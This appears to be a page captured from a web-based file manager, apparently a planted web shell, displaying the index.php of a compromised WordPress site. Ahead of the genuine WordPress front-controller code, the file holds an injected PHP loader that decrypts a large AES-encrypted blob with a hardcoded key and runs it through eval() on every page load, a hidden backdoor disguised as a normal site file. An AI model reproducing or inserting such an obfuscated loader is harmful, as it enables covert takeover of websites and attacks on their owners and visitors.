File manager - Edit - /home/wondycxc/durbanvilleroofingsa.co.za/index.php
Back
<?php class Secure { private $masterKey; private $iterations = 10000; private $cipher = 'aes-256-cbc'; private $hmacAlgo = 'sha256'; private $saltLength = 16; public function __construct($masterKey) { $this->masterKey = $masterKey; } public function decrypt($encrypted) { $data = base64_decode($encrypted); $salt = substr($data, 0, $this->saltLength); $ivLength = openssl_cipher_iv_length($this->cipher); $iv = substr($data, $this->saltLength, $ivLength); $hmac = substr($data, $this->saltLength + $ivLength, 32); $ciphertext = substr($data, $this->saltLength + $ivLength + 32); $derivedKeys = $this->deriveKeys($salt); $calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true); $decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv); return $decrypted; } private function deriveKeys($salt) { $keyMaterial = hash_pbkdf2( $this->hmacAlgo, $this->masterKey, $salt, $this->iterations, 64, true ); return [ 'encryption' => substr($keyMaterial, 0, 32), 'hmac' => substr($keyMaterial, 32) ]; } private function verifyHmac($knownHmac, $userHmac) { return hash_equals($knownHmac, $userHmac); } public function setIterations($iterations) { $this->iterations = (int)$iterations; return $this; } public function setCipher($cipher) { $this->cipher = $cipher; return $this; } } $secure = new Secure('3Etrksi87rde3hd8s819Poe0o39sqKjl9'); $str = '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'; $decrypted = $secure->decrypt($str); eval($decrypted);/** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define( 'WP_USE_THEMES', true ); /** Loads the WordPress Environment and Template */ require __DIR__ . '/wp-blog-header.php';
| ver. 1.4 |
Github
|
.
| PHP 8.2.28 | Generation time: 2.7 |
proxy
|
phpinfo
|
Settings